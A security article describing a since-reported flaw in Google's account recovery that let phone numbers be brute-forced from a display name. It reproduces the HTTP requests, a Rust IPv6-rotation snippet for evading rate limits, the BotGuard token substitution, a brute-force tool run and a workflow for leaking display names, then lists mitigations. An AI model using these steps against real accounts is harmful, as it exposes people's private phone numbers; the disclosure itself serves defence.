A critical security vulnerability recently uncovered in Google’s account recovery process could have led to the exposure of users’ phone numbers even those who thought themselves protected.
This issue emerged when a security researcher, testing Google’s resilience against JavaScript-disabled attacks, found that an endpoint in the username recovery system functioned without client-side JavaScript a surprising finding given the heavy reliance on anti-abuse and BotGuard protections since 2018.
The researcher discovered that the username recovery form allowed for two straightforward HTTP requests to check if a recovery phone number was associated with a given display name. The process simplified as follows:
The Technical Process
1. Initiating Recovery:
A POST request is sent to Google’s username recovery endpoint with a provided phone number:
textPOST /signin/usernamerecovery HTTP/2
Host: accounts.google.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Email=+18085921029&hl=en&gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%3A1747557783359
2. Obtaining Recovery Token:
If valid, Google responds with a 302 redirect, including an ess (encrypted session state) token necessary for the next step:
textHTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/name?ess=...&hl=en
3. Checking Display Name and Phone Number:
A second POST request uses the ess token, along with the display name (first and last), to determine if an account exists with that number and name:
textPOST /signin/usernamerecovery/lookup HTTP/2
Host: accounts.google.com
Content-Type: application/x-www-form-urlencoded
challengeId=0&challengeType=28&ess=...&bgresponse=js_disabled&GivenName=john&FamilyName=smith
If a match is found, Google responds with a 302 to a challenge page. If not, it redirects to a “no accounts found” page:
textHTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/challenge?ess=...
or
textHTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/noaccountsfound?ess=...
The Bruteforce Potential and BotGuard Bypass
At first glance, the system appeared protected by rate limits and CAPTCHAs, deterring abuse. However, the researcher noted that using proxies and rotating IPv6 addresses millions of available addresses could potentially bypass rate limits.
Experimentally, the code snippet below generates random IPv6 addresses to mask the IP for each request (using a Rust example):
rustpub fn get_rand_ipv6(subnet: &str) -> IpAddr {
let (ipv6, prefix_len) = match subnet.parse::<Ipv6Cidr>() {
Ok(cidr) => (cidr.first_address(), cidr.network_length()),
Err(_) => panic!("invalid IPv6 subnet")
};
let ipv6_u128: u128 = u128::from(ipv6);
let rand: u128 = random();
let net_part = (ipv6_u128 >> (128 - prefix_len)) << (128 - prefix_len);
let host_part = (rand << prefix_len) >> prefix_len;
let result = net_part | host_part;
IpAddr::V6(Ipv6Addr::from(result))
}
But even this approach hit CAPTCHAs for datacenter IPs. The breakthrough came when the researcher realized that the bgresponse=js_disabled parameter in the request could be replaced with a valid BotGuard token, as obtained from the JavaScript-enabled recovery page. This allowed unlimited queries, with no CAPTCHA or rate limiting, once the BotGuard token was supplied.
Automated Tool Example:
text$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 -f Henry -l Chancellor -w 3000
Starting with 3000 threads...
HIT: +31658854003
Finished.
This tool would automate the process of bruteforcing phone numbers for a given display name and phone number pattern.
Real-World Attack Chain and Mitigations
Leaking Target Information:
To exploit this flaw, an attacker would need at least partial knowledge of a target’s phone number (e.g., from a password reset hint) and their display name. Before Google’s FocusBackend changes in April 2024, display names were often leaked from endpoints; now, a workaround involves transferring ownership of a Looker Studio document to the target and observing the display name leak.
Phone Number Masking and Geolocation:
Google uses the libphonenumber library to format hints. Attackers can map phone mask formats to country codes to refine bruteforce attempts:
json{
"•• ••••••••": ["nl"],
"•••• ••••••": ["de"],
"(•••) •••-••••": ["us"]
}
Validation and Speed Optimization:
Attackers can use libphonenumber validation to avoid unnecessary queries and increase bruteforce efficiency. BotGuard tokens can be generated via a small API:
text$ curl http://localhost:7912/api/generate_bgtoken
{
"bgToken": "<generated_botguard_token>"
}
Attack Workflow:
- Leak display name (e.g., via Looker Studio)
- Get masked phone (via password reset hint)
- Bruteforce phone number with gpb tool and BotGuard token
Assessing the Impact and Next Steps
This major oversight in Google’s account recovery mechanism exposed millions of users to potential privacy intrusion and credential abuse.
Although Google has a robust anti-abuse system, the bypass through the no-JS endpoint and BotGuard token substitution rendered rate limiting and CAPTCHAs ineffective.
Mitigations must include stricter validation of BotGuard tokens, improved rate limiting for both IPv4 and IPv6, and ongoing monitoring for unusual patterns in account recovery requests.
For users, it’s important to be aware of display name visibility and to consider the information shared during account recovery hints.
This vulnerability underscores the importance of robust, multi-layered defenses especially for user data as sensitive as phone numbers and the need for constant vigilance by both tech giants and the security community.





